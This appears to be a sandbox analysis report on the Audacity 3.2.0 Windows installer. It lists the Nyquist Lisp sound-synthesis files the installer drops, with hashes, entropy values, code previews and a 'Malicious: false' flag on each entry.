C:\Program Files\Audacity\Nyquist\is-2UCMK.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	Lisp/Scheme program, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	519
Entropy (8bit):	4.783355756334875
Encrypted:	false
SSDEEP:	12:z2QRoZduvTpnKIg6R6TcpLFHtoIOJSTTQIUFHHOfaor1qLEE0:zBvTpnkpgpLFVTTQIUFOfPo4d
MD5:	FC36CA336643E896368EA07B60DF3B64
SHA1:	42B0A812672280C06701EFA873557F335691D2C4
SHA-256:	508802AE5D5ACC52C851F6F88D3FAA53DC87C65047052A809D6838CA8441BBA5
SHA-512:	6C2DD742C07D1B58CE6F18028EFF299BB7E8D7B3771AE90C0B910C4E526404EEF0255A6DCD2397F7B5AC8A631241F9E48BDC644293415D20509DCF4CAEC4490A
Malicious:	false
Preview:	;; velocity.lsp -- conversion routines for MIDI velocity..;;..;; Roger B. Dannenberg..;; July, 2012......(defun db-to-vel (x &optional float).. (linear-to-vel (db-to-linear x) float))......(defun linear-to-vel (x &optional float).. (setf x (/ (- (sqrt (abs x)) 0.0239372) 0.00768553)).. (cond (float x).. (t.. (setf x (round x)).. (max 1 (min 127 x)))))......(defun vel-to-db (v).. (linear-to-db (vel-to-linear v)))......(defun vel-to-linear (v).. (power (+ (* v 0.00768553) 0.0239372) 2))..

C:\Program Files\Audacity\Nyquist\is-5GAUM.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	72171
Entropy (8bit):	4.346825030196894
Encrypted:	false
SSDEEP:	1536:Zk/UnWMGZaDWm1L+Dm7vdGk3dG9ju0OShlKKbWj:ZksnLGZeBaOdGk3dG9ju0OShlKKbw
MD5:	23693158698B40417DAF14F2688CFA3D
SHA1:	C49F578DE500DCF38E87892EA7281DFABC76351A
SHA-256:	59C72DF6BC516588EDDEDC6F521E5D0A30E2B37D4CE93A1E9DB586E41CD28BF3
SHA-512:	262214D9F813319E2538DE5B856395433F655E2DF3A2134C386233A9E69B74940ABE935C30E2C4932D217234FE52DF43A92589CFA9867BCCE98DE2D5263B531A
Malicious:	false
Preview:	;; SAL parser -- replaces original pattern-directed parser with..;; a recursive descent one..;;..;; Parse functions either parse correctly and return..;; compiled code as a lisp expression (which could be nil)..;; or else they call parse-error, which does not return..;; (instead, parse-error forces a return from parse)..;; In the original SAL parser, triples were returned..;; including the remainder if any of the tokens to be..;; parsed. In this parser, tokens are on the list..;; sal-tokens, and whatever remains on the list is..;; the list of unparsed tokens.....;; scanning delimiters.....(setfn nreverse reverse)....(defconstant +quote+ #\") ; "..." string ..(defconstant +kwote+ #\') ; '...' kwoted expr..(defconstant +comma+ #\,) ; positional arg delimiter..(defconstant +pound+ #\#) ; for bools etc..(defconstant +semic+ #\;) ; comment char..(defconstant +lbrace+ #\{) ; {} list notation ..(defc

C:\Program Files\Audacity\Nyquist\is-6R5OG.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	Lisp/Scheme program, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	2190
Entropy (8bit):	4.597461206135219
Encrypted:	false
SSDEEP:	48:zqHSrrS5MSwD4yYLYCaTfSWgF5CFZFHao/qeF0TwFNuIJFwwyFNNKcFQvZFVlFig:zqH8rB7DZfCoqWgF5CFZFHGeF0TwF8IJ
MD5:	CB075F0C31BD04D81E0DEE9B6262A8F9
SHA1:	AF8D68BE4E9B7AE678AC872CD476060A2DE75E23
SHA-256:	3F79E8FF407554FE713822B0D73005CBAE15BC5AE7E1388D0A2A990901BE2DE1
SHA-512:	D9953A68BE8850CD18C4C511AC3F1B188793D288F45D64B764945B546013DB6C099F875557CF16086EC539D6AEEDD356866FB3835FFD61948B8B026E982E3085
Malicious:	false
Preview:	;; spec-plot.lsp -- spectral plot function..;;..;; Roger B. Dannenberg, May 2016..;;....(setf spec-plot-bw 8000.0) ;; highest frequency to plot (default)..(setf spec-plot-res 20.0) ;; bin size (default)..(setf spec-plot-db nil) ;; plot dB? (default)....;; We want to allow round-number bin-sizes so plot will be more readable..;; Assuming 20Hz as an example, the FFT size would have to be..;; 44100/20 = 2205, but that's not a power of 2, so we should resample..;; the signal down so that the FFT size is 2048 (or up to 4096). This..;; would result in sample rates of 204820 = 40960 or 81120. We should..;; pick the smaller one if it is at least 2x spec-plot-bw.....(defun spec-plot (sound &optional offset &key (res spec-plot-res).. (bw spec-plot-bw).. (db spec-plot-db*)).. (ny:typecheck (not (soundp sound)).. (ny:error "SPEC-PLOT" 1 '((SOUND) nil) sound)).. (ny:typecheck (not (or (null

C:\Program Files\Audacity\Nyquist\is-7K270.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	Lisp/Scheme program, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	11133
Entropy (8bit):	4.271218604614717
Encrypted:	false
SSDEEP:	192:OlYmK0Ot+uc3I3/OuHpRB2KqptwU1vMISWC5Al:Z+uc3ImYpKpVSWC6
MD5:	5569CEF07DC1A808DE159CA526D516E9
SHA1:	ABAAD7AE9F2100A3FBA914A8C729AC2A6846A74D
SHA-256:	4012428C746303DC4F79A20DA3198E59D8B6D3A12BEA39DE3825FDD6A14CE59F
SHA-512:	744BDD184AEF35A7A4A1B4F500E1E9E69BCE0E95B4B6C9983D376F62888A27F188B2CF0111FEAFFE0026E0C36A10114A31B5DA48F07C27863C7EEB33E0748FAA
Malicious:	false
Preview:	;;; A collection of helper functions and macros to make scripting Audacity commands..;;; easier and more Lisp-like...;;;..;;; Copyright 2018 - 2020 Audacity Team..;;; Steve Daulton..;;; Released under terms of the GNU General Public License version 2:..;;; http://www.gnu.org/licenses/old-licenses/gpl-2.0.html......(defun char-remove (ch str).. ;;; Remove all occurrences of character from string... (do ((out "").. (i 0 (1+ i))).. ((= i (length str)) out).. (if (char/= (char str i) ch).. (setf out (format nil "~a~a" out (char str i))))))....(defun number-string-p (str).. ;;; like digit-char-p for strings.. (unless (stringp str).. (return-from number-string-p nil)).. (let ((num (string-to-number str))).. (if (numberp num).. num.. nil)))....(defmacro string-append (str &rest strs).. ;;; Append one or more strings to 'str'.. `(setf ,str (strcat ,str ,@strs)))....(defun aud-print-command (cmd).. ;;; Print a quick reference for command argument

C:\Program Files\Audacity\Nyquist\is-8A690.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1050
Entropy (8bit):	5.044401708349308
Encrypted:	false
SSDEEP:	24:nGo11CkS2CMB2qMeP+LZ3JJ3S9BK1UV7RjcEY61iBjiO1Lcjv2mTf1Cp:3K37olGAihi0svhfK
MD5:	57DBBF6897651ED1D4A6A5CBAD7AE407
SHA1:	47BE64B27C1FA90B3FDFDC00071B5E7848E1C6EE
SHA-256:	1B6F8FD2395EDFFD06605EC54FA0DF49569B603C29085D61C2B24D094047DEBD
SHA-512:	3CBB38F8CDABC302A0B56404AFD8FF2511A7B6AA1AD0214998647FD30BEFC6C47CD9F8A72030204C3C3F9F6C45D8A662461B7EBFCB0340BD763A21B451FBC473
Malicious:	false
Preview:	(expand 5)....(load "xlinit.lsp" :verbose NIL)..(setf gc-flag nil)..(load "misc.lsp" :verbose NIL)..(load "evalenv.lsp" :verbose NIL)..(load "printrec.lsp" :verbose NIL)....(load "sndfnint.lsp" :verbose NIL)..(load "seqfnint.lsp" :verbose NIL)....(load "velocity.lsp" :verbose NIL) ; linear-to-vel etc..(load "nyquist-dbg.lsp" :verbose NIL)..(load "compress.lsp" :verbose NIL)....(load "system.lsp" :verbose NIL)....(load "seqmidi.lsp" :verbose NIL)..(load "nyqmisc.lsp" :verbose NIL)..(load "stk.lsp" :verbose NIL)..(load "envelopes.lsp" :verbose NIL)..(load "equalizer.lsp" :verbose NIL)..(load "xm.lsp" :verbose NIL)..(load "sal.lsp" :verbose NIL)....;; set to T to get ANSI headers and NIL to get antique headers..(setf ANSI NIL)....;; set to T to generate tracing code, NIL to disable tracing code..(setf WATCH NIL)....(format t "~%Nyquist -- A Language for Sound Synthesis and Composition~%")..(format t " Copyright (c) 1991,1992,1995,2007-2012 by Roger B. Dannenberg~%")..(format t "

C:\Program Files\Audacity\Nyquist\is-BNLP7.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1339
Entropy (8bit):	4.677218138520122
Encrypted:	false
SSDEEP:	24:0QkCg4gLgIgWgXBFjgwgNg1gDEgmvgvfgv9g5g5gWfgkgIgg2gTjgsvgugmgfgps:0Q7g4gLgIgWgXBFjgwgNg1gDEgmvgXg2
MD5:	3394FF9902324286BD6471F8BB9F446B
SHA1:	E47FF9EFA558244F1693A90F804EAAB43DC82A04
SHA-256:	A117658707F6E507776F2ADF318627879CE55B4E4229494561848295C64823AF
SHA-512:	C24DE9979F40DEE955AD98B8CB04E09FEB74DF0FE3032DE10AF81D8723C68882A7014B38E8EBD4EB1A5D0C322D73D9D3085CC8F3C9DF189E66B0408B45BF5E97
Malicious:	false
Preview:	(SETF MAX-STOP-TIME 10E20) .... (SETF MIN-START-TIME -10E20) .... (setf OP-AVERAGE 1) (setf OP-PEAK 2) .... (setf snd-head-none 0) .... (setf snd-head-AIFF 1) .... (setf snd-head-IRCAM 2) .... (setf snd-head-NeXT 3) .... (setf snd-head-Wave 4) .... (setf snd-head-PAF 5) .... (setf snd-head-SVX 6) .... (setf snd-head-NIST 7) .... (setf snd-head-VOC 8) .... (setf snd-head-W64 9) .... (setf snd-head-MAT4 10) .... (setf snd-head-MAT5 11) .... (setf snd-head-PVF 12) .... (setf snd-head-XI 13) .... (setf snd-head-HTK 14) .... (setf snd-head-SDS 15) .... (setf snd-head-AVR 16) .... (setf snd-head-SD2 17) .... (setf snd-head-FLAC 18) .... (setf snd-head-CAF 19) .... (setf snd-head-raw 20) .... (setf snd-head-OGG 21) .... (setf snd-head-WAVEX 22) .... (setf snd-head-channels 1) .... (setf snd-head-mode 2) .... (setf snd-head-bits 4) .... (setf snd-head-srate 8) .... (setf snd-head-dur 16) .... (setf snd-head-latency 32) .... (setf snd-head-type 64) .... (setf snd-mode-adpcm 0) .... (setf snd-m

C:\Program Files\Audacity\Nyquist\is-BQNBQ.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	Lisp/Scheme program, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	6747
Entropy (8bit):	4.372156764070245
Encrypted:	false
SSDEEP:	96:zEpHkPdcw0D4cFSFUFsLFsFvE8N5FwFxE8j7vF7kxkKkkvkVFmFPwApEQFLGQGSY:zcwcwnZ4lqE8j7MwApEmGOY
MD5:	B76BCBB978AE00AE0BE513BB31E8307C
SHA1:	A386A7C6DD81015AF8516C623DA4B54FA9FC9192
SHA-256:	B7BD8CCFBB929AC7C02064917745A1A759C48AA07AF491F75EB0787093C99834
SHA-512:	873B6677FE1D3FE150EC347DD65D3037A1B3E49853BEB246919C51245BAE0D6075EC743BC61B02062C9FF0831B03FBDE5075143F8A5D13DE7AA52BDA6A39A1EF
Malicious:	false
Preview:	;; seqmidi.lsp -- functions to use MIDI files in Nyquist..;..; example call:..; ..; (seq-midi my-seq..; (note (chan pitch velocity) (= chan 2) (my-note pitch velocity))..; (ctrl (chan control value) (...))..; (bend (chan value) (...))..; (touch (chan value) (...))..; (prgm (chan value) (setf (aref my-prgm chan) value))....;; seq-midi - a macro to create a sequence of sounds based on midi file..;..; ..(defmacro seq-midi (the-seq &rest cases).. (seq-midi-cases-syntax-check cases).. `(let (_the-event _next-time _the-seq _seq-midi-closure _nyq-environment .. _the-seq _tag).. (setf _the-seq (seq-copy ,the-seq)).. (setf _nyq-environment (nyq:the-environment)).. (setf _seq-midi-closure #'(lambda (t0).. (format t "_seq_midi_closure: t0 = ~A~%" t0) ;DEBUG.. (prog (_the-sound)..loop.; go forward until we find note to play (we may be there).. ; then go forward to find time of next note.. (setf _the-event (seq-get _the-seq)).. ; (display

C:\Program Files\Audacity\Nyquist\is-CFM98.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	Lisp/Scheme program, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	94344
Entropy (8bit):	4.7597488025006776
Encrypted:	false
SSDEEP:	1536:C9WiqidPXrEX11N5vR2KP3zecvA0owoQP7Dbh66LcnuM:C0vkKycvA0owoEbFhM
MD5:	48B5C77DB0620EF959A8E79F99B90915
SHA1:	0EE33FD7ADEF920EA629B44CCFC48E8E50B65B24
SHA-256:	68DAAF90F6AC6C2BB257302DE9DBC2C622D54BB0FAA649F5C224F807185B19AA
SHA-512:	590945A2A1CA41344D182F5680B0D71522EBFF83F1AC7FA752260E2C816CED615B0476D913C562A7EDD33E0646D3F5E90832B84D754C70E52BE9B117F8F8D337
Malicious:	false
Preview:	;;;..;;; ###########################################################..;;; ### NYQUIST-- A Language for Composition and Synthesis. ###..;;; ### ###..;;; ### Copyright (c) 1994-2006 by Roger B. Dannenberg ###..;;; ###########################################################..;;;..(princ "LOADING NYQUIST RUNTIME DEBUG VERSION\n")....;; #### Error checking and reporting functions ####....(setf SAL-CALL-STACK nil) ; because SEQ looks at this....;; MULTICHANNEL-SOUNDP - test for vector of sounds..(defun multichannel-soundp (v).. (prog ((rslt t)).. (if (not (arrayp v)) (return nil)).. (dotimes (i (length v)).. (cond ((not (soundp (aref v i))).. (setf rslt nil).. (return nil)))).. (return rslt)))....;; MULTICHANNELP - test for vector of sounds or numbers..(defun multichannelp (v).. (prog ((rslt t)).. (if (not (arrayp v)) (return nil)).. (dotimes (i (length v)).. (cond ((not (o

C:\Program Files\Audacity\Nyquist\is-CGAC7.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	Lisp/Scheme program, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	8831
Entropy (8bit):	4.663600821617839
Encrypted:	false
SSDEEP:	192:oGVFnduVVs6WgYXdo65VeVmYx3C6+iFCNiXN51y8HyLh:o0Pf8VmYx1+i8Ngc8Hyt
MD5:	5F0E0381F6689EC1DCB8C1410F54F638
SHA1:	FE30819664C01C40A6DE4B6EC338A7F126EBFB6F
SHA-256:	C95F5A5AFC6181EE52B97E36F3F74972D2E79BA3FA22A852D364908D732E58AB
SHA-512:	3AC601B222A18AAD9CEEC409E45F0DE359B76AFD271C784BD2A6EA5FCEB12A8EF59CE0D87C75D1E144D7FB3F7E57F577B557EAD7A8D8CCF00A6AAB7B141A31A0
Malicious:	false
Preview:	;## misc.lsp -- a collection of useful support functions....;; Garbage collection "improvement" -- XLISP will GC without allocation..;; as long as it does not run out of cells. This can make it very slow..;; since GC does work proportional to the heap size. If there were..;; always at least, say, 1/3 of the heap free after GC, then allocating..;; cells would be more-or-less a constant time operation (amortized)...;;..;; So, after GC, we'll expand until we have 1/3 of the heap free...;;..(defun ny:gc-hook (heap-size free-cells).. (cond ((< (* free-cells 2) heap-size) ;; free cells is < 1/3 heap.. ;; expand. Each expansion unit is 2000 cons cells.. (let* ((how-many-not-free (- heap-size free-cells)).. (should-be-free (/ how-many-not-free 2)).. (how-many-more (- should-be-free free-cells)).. (expand-amount (/ how-many-more 2000))).. (cond ((> expand-amount 0).. (if gc-flag.. (fo

C:\Program Files\Audacity\Nyquist\is-D9254.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	Lisp/Scheme program, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	5477
Entropy (8bit):	4.879279470306075
Encrypted:	false
SSDEEP:	96:zdGadzAjZEKXzuo4FFPJlvFP9hFPhyF+rIiCBdvoFPaFTgiFclFHlFwf1w:zdGA0Xz9IR1Q1arky
MD5:	14855F8E7EF6FB993467A9596E941AC6
SHA1:	3F808CC57E6E6E0E4096F7E39524ECE8CFEB27F4
SHA-256:	5C2699B94017B72A7992158B8C9F454EF7DBF748F949928D103A1B5A5A4D5850
SHA-512:	62718201AA2CD22B60C630FE0BCA07DE34C43AFF6ABDB27430C0E54097B2098C4D4EF3FF98F25F1531960BB3F298D432D6F3E9A5BF7C680C12FFF1F89ECEB8A5
Malicious:	false
Preview:	;; envelopes.lsp -- support functions for envelope editor in NyquistIDE....#\| In Nyquist, editable envelopes are saved as one entry in the workspace..named envelopes. The entry is an association list where each element..looks like this:....(name type parameters... )....where name is a symbol, e.g. MY-ENVELOPE-1,.. type is a function name, e.g. PWL, PWLV, PWE, etc., and.. parameters are breakpoint data, e.g. 0.1 1 0.2 0.5 1....Example of two envelopes named FOO and BAR:....((FOO PWL 0.1 1 1) (BAR PWE 0.2 1 1))....To convert envelope data into functions, call (MAKE-ENV-FUNCTIONS)...This function should be on the workspace's list of functions to call...(See ADD-ACTION-TO-WORKSPACE in Nyquist Manual.)....When the NyquistIDE wants to get the envelope data from the workspace, it..should call (GET-ENV-DATA), which will dump formatted data to Nyquist's..standard output as follows:....get-env-data: begin..name (type parameters...) newline..name (type parameters...) newline.......get

C:\Program Files\Audacity\Nyquist\is-DQTC5.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	Lisp/Scheme program, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4258
Entropy (8bit):	4.7746867057173175
Encrypted:	false
SSDEEP:	96:bMPxkSFPDuSkHCkqFPpk6FPjkbFPjkzFPL0FPO2RJ8Aaur/Lme1FM3F8RKQFbM9G:iGoDuPHfwuAgZghiOYWAaur/K2RKho
MD5:	E42E4D247DDC00E452A9DD3B3E491E45
SHA1:	3EFD8E83BBD3269764FA269C50BFCB158F73111B
SHA-256:	A1014A9F8CE0AF1AFB4B8B215C85E08F5EAEB1E5FE52342910A88C05E644B55B
SHA-512:	FBE7060A63A4552F791A8CF47F3F39C96AFE9D912CE0E5C2EA563194BAAC4A1114704A6E3DCEFE18F9CC6C815CC721A4353B4CC37B402F35DF8C3578C829353C
Malicious:	false
Preview:	; machine.lsp -- machine/system-dependent definitions..; Windows....;; default behavior is to call SETUP-CONSOLE to get large white typescript..;;..;; set setup-console to nil in your personal init.lsp to override this behavior ..;; (this may be necessary to work with emacs)..;;..(if (not (boundp 'setup-console)) (setf setup-console t))..(if setup-console (setup-console))....(if (not (boundp 'default-sf-format)).. (setf default-sf-format snd-head-Wave))....(if (not (boundp 'default-sound-file)).. (compute-default-sound-file))....(if (not (boundp 'default-sf-dir)).. (setf default-sf-dir ""))....(if (not (boundp 'default-sf-mode)).. (setf default-sf-mode snd-mode-pcm))....(if (not (boundp 'default-sf-bits)).. (setf default-sf-bits 16))....(if (not (boundp 'default-plot-file)).. (setf default-plot-file "points.dat"))....;(if (not (boundp 'plotscript-file))..; (setf plotscript-file "sys/unix/rs6k/plotscript"))....; local definiti

C:\Program Files\Audacity\Nyquist\is-ESFAT.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	Lisp/Scheme program, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	14703
Entropy (8bit):	4.540518937355527
Encrypted:	false
SSDEEP:	192:zyUENJv0SeUA2a+0GegOyUQ+LkwCmtq15eXxyPw8t:3ENpCF2a8bOvQ+AwFt04X98t
MD5:	46AC77CAA7B752493EB576BB9B807563
SHA1:	262156857F4AB5F15E9599418C04329B316E813B
SHA-256:	B481AAFB6F53D0773DD6EF3F1E70D5C9F5DE615273EAAFC6D4B103E0126B637A
SHA-512:	D8E8883C948C5C6DC91A69E36F477C1E15213C8E51B44D093210AA4FA1D9C3B6E3091F4347630D28085A597CCF8D5A55ECE5062B5F15E1E96AC05F0E0D4034C0
Malicious:	false
Preview:	;; seq.lsp -- sequence control constructs for Nyquist....;; get-srates -- this either returns the sample rate of a sound or a..;; vector of sample rates of a vector of sounds..;;..(defun get-srates (sounds).. (cond ((arrayp sounds).. (let ((result (make-array (length sounds)))).. (dotimes (i (length sounds)).. (setf (aref result i) (snd-srate (aref sounds i)))).. result)).. (t.. (snd-srate sounds))))....; These are complex macros that implement sequences of various types...; The complexity is due to the fact that a behavior within a sequence..; can reference the environment, e.g. (let ((p 60)) (seq (osc p) (osc p)))..; is an example where p must be in the environment of each member of..; the sequence. Since the execution of the sequence elements are delayed,..; the environment must be captured and then used later. In XLISP, the..; EVAL function does not execute in the current environment, so a special..; EVAL, EVALHOOK

C:\Program Files\Audacity\Nyquist\is-EVALG.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	Lisp/Scheme program, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	894
Entropy (8bit):	3.747003078665508
Encrypted:	false
SSDEEP:	24:7mP8scMjb6OgmTobvmMKrVQQJ7p0gsKksZiWJQn:iPDf6bmwmfrVT7yKpPQn
MD5:	4A157AB69A255C91DFEB34AA5F867930
SHA1:	EE4AF3B036D167BCD4F8D8E7256465B5BA2668D6
SHA-256:	208510AA5DFE9FB7611340CB9D40BD2B6F351A41632717C45BB08A5944833A60
SHA-512:	2427006CF225BD1C68FF3D55AE1EE0A4B95ED257998A47166B5857A0EBB92F96172E4E9532F6F404B71A812C7E6B7A15614AC1A68D3E459A61E759FE74FE076B
Malicious:	false
Preview:	; prints recursive list structure....;(let (seen-list)..(setf seenlist nil).. (defun seenp (l) (member l seenlist :test 'eq)).. (defun make-seen (l) (setf seenlist (cons l seenlist))).. (defun printrec (l) (printrec-any l) (setf seenlist nil)).. (defun printrec-any (l).. (cond ((atom l) (prin1 l) (princ " ")).. ((seenp l) (princ "<...> ")).. (t.. (make-seen l).. (princ "(").. (printrec-list l).. (princ ") "))).. nil).. (defun printrec-list (l).. (printrec-any (car l)).. (cond ((cdr l).. (cond ((seenp (cdr l)).. (princ "<...> ")).. ((atom (cdr l)).. (princ ". ").. (prin1 (cdr l)).. (princ " ")).. (t.. (make-seen (cdr l)).. (printrec-list (cdr l)))))).. nil)..; )..

C:\Program Files\Audacity\Nyquist\is-G5GC0.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	Lisp/Scheme program, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	7382
Entropy (8bit):	4.803108768297777
Encrypted:	false
SSDEEP:	96:zGTyY4Pu+1h1AFeF+F+Fj8hddi81AFeF+FPEFXvKhZLjtCxCZCNCQhsIg3BDduFj:zGmY4Pu0FgdVG+7Q40QngxAORosEqdWT
MD5:	614518C236FE29D364A00BF83425FCC4
SHA1:	07FC9FF30EAB4CFF854CD93ADB04FE4B414775AB
SHA-256:	99B9D973BF93A32AFBEB4EDCF2C8C05A02F4164F3C02B2E8ED5D244044137C2A
SHA-512:	512C70FC38F6ADD097156F2BF2D910D80AA33FEC761D06BB765DE0A9D3B35B813FABCB4BA6EDAC15A7290502847690A856074FFC3C8C664691312EB72890F00A
Malicious:	false
Preview:	;; stk.lsp -- STK-based instruments..;;..;; currently clarinet and saxophony are implemented....(defun instr-parameter (parm).. ;; coerce parameter into a sound-srate signal.. (cond ((numberp parm).. (stretch 30 (control-srate-abs sound-srate (const (float parm))))).. (t.. (force-srate sound-srate parm))))......(defun clarinet (step breath-env).. (snd-clarinet (step-to-hz step) (force-srate sound-srate breath-env) sound-srate))......(defun clarinet-freq (step breath-env freq-env).. ;; note that the parameters are in a different order -- I defined .. ;; clarinet-freq this way so that the first two parameters are always.. ;; step and breath. I didn't redo snd-clarinet-freq... (snd-clarinet_freq (step-to-hz step) .. (instr-parameter breath-env).. (instr-parameter freq-env).. sound-srate))........(defun clarinet-all (step breath-env freq-env vibrato-freq vibrato-gain reed-stiffness noise).. ;; note that

C:\Program Files\Audacity\Nyquist\is-HH9U2.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	43
Entropy (8bit):	4.0566402665723045
Encrypted:	false
SSDEEP:	3:XqZviplWORIVLAvwv:Xov2HIhAC
MD5:	76A2CEB79EAE98DAF78DB5DA43DE4571
SHA1:	0161E9A6B118ABC2631DD529D7B133940D590E0B
SHA-256:	3313A168DD27484D84F123933C46F8A94D4A329C7AA6917CD8A0B526D729CE58
SHA-512:	1DBBEBA1D4F45DF9408539BAB2CF2D961F03AD47C13594EF4F6D563F5BCE91326F8BD3D1791F54FA4C40D4E3759E6F3050FE6E7A77D2144FB8C18D92AA11E1A5
Malicious:	false
Preview:	set nokey..plot "points.dat" with lines....

C:\Program Files\Audacity\Nyquist\is-IL8FC.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	Lisp/Scheme program, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	2331
Entropy (8bit):	4.8573071457809975
Encrypted:	false
SSDEEP:	48:zl/UGLm9JecEzFPD4MHFPDHhEORiHrB+sFcYEz5F10gsndbFzF8V7FRqo:zVxZTzFPFFPu+vsFcH9FmvdbFzF8V7Fj
MD5:	1B4B83FF801CF010765A004BE8207ED5
SHA1:	73B1C73C5D0F83EC68570EA37CAF9ECAC032F2BD
SHA-256:	51C13855A836753EBEDF5FDB30A7B3E11985D862232DF7C7709923B6A312DD76
SHA-512:	03572BC378D0D31EFA145F1A333BD33F39AB8C5A200BB70495C8B14B0F5DCCAA5B5D2C9D716FFED2FB5420190548773C0BA71D9C45C8E206D6FC240DEB699094
Malicious:	false
Preview:	;; equalizer.lsp -- support functions for equalizer editor in jNyqIDE....#\| This is modeled after envelopes.lsp, which details how envelope data is ..exchanged between Nyquist and jNyqIDE.....The jNyqIDE code needs some work to make it look like the envelope..editor (which also needs work, but that's another matter). For consistency,..both should support named envelopes and equalizers.....However, for now, we have equalizers numbered from 0 to 9. The format for..exchange will be:....get-eq-data: begin..name parameters newline..name parameters newline.......get-eq-data: end....and when the IDE wants to save a definition, it should call..(DEFINE-EQ 'NAME 'PARAMETER-LIST)....\|#....(cond ((not (boundp 'equalizers)).. (setf equalizers nil)))....;; DEFINE-EQ -- save the eq data and make corresponding function..;;..(defun define-eq (name expression).. (setf equalizers (remove name equalizers .. :test #'(lambda (key item) (eql key (car item))))).. (pu

C:\Program Files\Audacity\Nyquist\is-L09O0.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	Lisp/Scheme program, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	814
Entropy (8bit):	4.379440386031322
Encrypted:	false
SSDEEP:	24:Ky75fnsOVEzJ9aJJFaJufeHga9/yxndJ6yge6gJEaiSYN:TfeopI
MD5:	8547377CB01C3A0F7992AF04403A5A5F
SHA1:	CDCC5A653C10CFAC1F300E69C13573528884CEAE
SHA-256:	E1EC5E179D7CDDED6B20230A6364A0B802B67BA6E2CCEA94714728A390B6F715
SHA-512:	C6C3C4B07C0D40EF4F003826BDC86B784A1E7E5084D5B97B58B079AC889E4EF019ACE247340E86D68351867F3D1842AA9F0D47F2AF66AD8732FB5ECADD7DBC66
Malicious:	false
Preview:	..; profile.lsp -- support for profiling....;## show-profile -- print profile data..(defun show-profile ().. (let ((profile-flag (profile nil)) (total 0)).. (dolist (name PROFILE).. (setq total (+ total (get name 'PROFILE)))).. (dolist (name PROFILE).. (format t "~A (~A%): ~A~%".. (get name 'PROFILE).. (truncate.. (+ 0.5 (/ (float (* 100 (get name 'PROFILE))).. total))).. name)).. (format t "Total: ~A~%" total).. (profile profile-flag)))......;## start-profile -- clear old profile data and start profiling..(defun start-profile ().. (profile nil).. (dolist (name PROFILE).. (remprop name 'PROFILE)).. (setq PROFILE nil).. (profile t))....

C:\Program Files\Audacity\Nyquist\is-MMQJF.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	103012
Entropy (8bit):	4.396526463609699
Encrypted:	false
SSDEEP:	1536:+bD78ksXyMwsVSTAysnPz06W1VVzd++3IEPlxkrrReBLAnmSy6Inn:+H7PMBVSns706W1V/Rqnmj6Inn
MD5:	0875677737F1D15AAEBC56B97D895A3B
SHA1:	D63EC81DCF701B59F71BBAA9431C447CCFF0F417
SHA-256:	D842A3FB17C246B1DACEE52969C7F7DE65660358CE5D03D906D35CB1A119CE32
SHA-512:	E4265BF263C9A1E7A8C45F88F18EF5C827890AF9BE3DE6EDFAA394BCDA88049D59B21E2398BADD966E16ECC6CC24EA2A032DEE4E5436BF91FF2D5214E9A78778
Malicious:	false
